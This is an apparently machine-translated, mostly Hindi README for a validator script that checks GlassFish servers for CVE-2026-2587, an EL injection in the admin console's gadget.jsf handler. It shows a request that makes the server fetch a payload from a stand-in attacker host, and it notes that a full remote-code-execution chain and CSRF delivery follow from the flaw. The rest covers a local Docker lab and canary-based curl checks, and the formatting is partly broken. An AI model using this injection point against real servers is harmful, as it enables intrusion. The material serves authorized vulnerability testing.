CVE-2026-2587 PoC validator for Eclipse GlassFish EL Injection RCE in the admin console gadget.jsf handler. Safe authenticated vulnerability scanner for authorized testing.
CVE-2026-2587 के लिए सुरक्षित PoC सत्यापक, Eclipse GlassFish एडमिन कंसोल गैजेट हैंडलिंग में एक गंभीर EL इंजेक्शन / RCE समस्या से संबंधित है, विशेष रूप से /common/gadgets/gadget.jsf के माध्यम से।
यह उपकरण सुरक्षा टीमों को एक सौम्य अंकगणितीय EL कैनरी का उपयोग करके अधिकृत वातावरणों में GlassFish CVE-2026-2587 के जोखिम को सत्यापित करने में मदद करता है।
नियुक्तकर्ता: Eclipse Foundation (CNA) · प्रकाशित: 19 मई, 2026 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — एक्सप्रेशन लैंग्वेज इंजेक्शन प्रभावित संस्करण:अज्ञात(21 मई, 2026 तक सार्वजनिक सलाहकार में) पैच किए गए संस्करण:अज्ञात(21 मई, 2026 तक सार्वजनिक सलाहकार में) स्कैनर नियम: संस्करण केवल रूटिंग/रिपोर्टिंग संदर्भ है; निर्णय के लिए प्रमाण आवश्यक है।
एक गंभीर रिमोट कोड निष्पादन भेद्यता GlassFish एडमिन कंसोल गैजेट हैंडलर में मौजूद है। एप्लिकेशन gadget= क्वेरी पैरामीटर के माध्यम से प्राप्त URL से .xml फ़ाइलों को प्रोसेस करता है और Java Expression Language (EL) इंजन के माध्यम से बिना सैनिटाइजेशन या एस्केपिंग के <ModulePrefs> विशेषताओं के अंदर उपयोगकर्ता-द्वारा प्रदान किए गए मानों का मूल्यांकन करता है।```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
यदि XML में किसी `<ModulePrefs title="">` गुण में `#{7*7}` है, तो GlassFish इसे सर्वर-साइड मूल्यांकित करता है और `49` लौटाता है — EL निष्पादन की पुष्टि करता है। EL के Java रनटाइम तक पहुँच के माध्यम से एक पूर्ण RCE श्रृंखला का अनुसरण होता है।
वर्तमान सार्वजनिक सलाहकार रिकॉर्ड किसी प्रभावित या पैच किए गए संस्करण सीमा को प्रकाशित नहीं करते हैं। यह वैलिडेटर इसलिए प्रमाण-प्रथम है: यह GlassFish को फ़िंगरप्रिंट करता है और संस्करण मेटाडेटा रिपोर्ट करता है, लेकिन यह केवल संस्करण स्ट्रिंग से किसी लक्ष्य को संवेदनशील के रूप में वर्गीकृत नहीं करता है।
---
## यह कैसे काम करता है

सुरक्षित सत्यापन पथ एक हानिरहित XML प्रोब होस्ट करता है, `gadget.jsf` पर एक प्रमाणित एडमिन-कंसोल अनुरोध भेजता है, GlassFish को कॉलबैक URL से उस XML को लाने देता है, और जाँचता है कि क्या `<ModulePrefs title="">` कैनरी `#{7*7}` से `49` का मूल्यांकन करता है।
**इंजेक्शन बिंदु पुष्टि बनाम नहीं:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| परिदृश्य | क्या प्रमाणीकरण आवश्यक है? |
|---|---|
gadget.jsf पर सीधा प्रहार | हाँ — FORM प्रमाणीकरण, 200 लॉगिन पृष्ठ |
| वास्तविक दुनिया का CSRF हमला | नहीं — प्रशासक के सक्रिय सत्र को हथियार बनाता है |
| यह वैलिडेटर | हाँ — --cookie या --username/--password |
| अप्रमाणित एक्सपोज़र जाँच | नहीं — स्क्रिप्ट स्वचालित रूप से इसका परीक्षण करती है |
CVSS वेक्टर PR:N / UI:R का अर्थ है:
PR:N — हमलावर को अपने स्वयं के क्रेडेंशियल्स की आवश्यकता नहीं हैUI:R — एक लॉग-इन प्रशासक को बातचीत करनी चाहिए (CSRF वितरण)लैब सत्यापन के लिए, CSRF को पूरी तरह से छोड़ें — सीधे अपने स्वयं के प्रशासक सत्र का उपयोग करें।
आवश्यकताएँ: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**रिपॉजिटरी सामग्री:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
चेतावनी: GHSA अभी भी प्रभावित और पैच किए गए संस्करणों को अज्ञात के रूप में सूचीबद्ध करता है।
omnifish/glassfish:7.0.15एक मजबूत लैब उम्मीदवार है — यह गारंटीकृत असुरक्षित बिल्ड नहीं है। वैलिडेशन प्रिमिटिव अंकगणितीय कैनरी बना हुआ है: यदि#{7*7}का मान49है, तो EL सक्रिय है।
docker compose -f docker-compose.lab.yml up
GlassFish 7.0.15 को केवल `127.0.0.1` पर बंदरगाहों के साथ और `host.docker.internal` पूर्व-वायर्ड के साथ लाता है ताकि कंटेनर आपके स्थानीय XML सर्वर तक पहुँच सके।
### विकल्प B — bare docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
प्रशासक कंसोल: https://localhost:4848 · लॉगिन: admin / admin
(स्व-हस्ताक्षरित प्रमाणपत्र — ब्राउज़र चेतावनी अपेक्षित है।)
दूसरे टर्मिनल में:```bash
python3 -m http.server 8000 --bind 0.0.0.0
कंटेनर के दृष्टिकोण से पहुँच की पुष्टि करें:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
पहले एडमिन कंसोल में लॉग इन करें (ब्राउज़र सत्र या --cookie), फिर:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| आउटपुट | अर्थ |
|---|---|
| `CVE2587_TITLE_49_END` | **असुरक्षित** — EL का मूल्यांकन `ModulePrefs title` में किया गया |
| `CVE2587_BODY_49_END` | **असुरक्षित** — EL का मूल्यांकन CDATA बॉडी में किया गया |
| `CVE2587_TITLE_#{7*7}_END` | असुरक्षित नहीं / EL का मूल्यांकन नहीं किया गया |
| *(कोई आउटपुट नहीं)* | GlassFish ने कभी XML प्राप्त नहीं किया — कॉलबैक पहुंच क्षमता जांचें |
> CDATA बॉडी आमतौर पर असुरक्षित बिल्ड पर भी कच्ची रहती है; एक सकारात्मक `TITLE` परिणाम अकेला निष्कर्ष की पुष्टि करने के लिए पर्याप्त है।